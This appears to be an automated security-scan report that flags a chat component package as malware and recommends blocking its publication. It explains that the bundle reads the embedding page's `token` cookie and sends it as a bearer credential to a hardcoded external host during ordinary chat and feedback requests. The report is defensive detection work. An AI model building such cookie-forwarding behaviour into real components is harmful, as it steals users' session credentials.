scanned 3d ago · by lpm-firewall-ai

The active chat and supporting request paths disclose the embedding page's cookie token to a package-selected external recipient. This is concrete credential exfiltration and warrants blocking publication.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

The component loads agent details or a user sends a chat message or submits feedback.

Impact

The recipient can receive and potentially use the embedding page's token; the source shows no recipient-specific consent or destination validation.

Mechanism

Its request helpers read `document.cookie` and attach the token as a bearer credential to requests sent to the hardcoded host.

Attack narrative

When the exported chat component requests agent details, sends a chat message, or submits feedback, it reads the embedding page's `token` cookie and sends it as a bearer credential to a fixed external host. The package selects that recipient, and the inspected source shows no recipient-specific consent or destination validation. This is credential exposure during ordinary component use.

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

The package exposes the ESM bundle as its import entry point and exports the chat component.
The bundle reads the page's `token` cookie and uses it as a bearer credential.
Chat requests send that credential to a fixed package-selected host when the component sends a message.
The same request helper sends the credential for agent details and feedback requests.
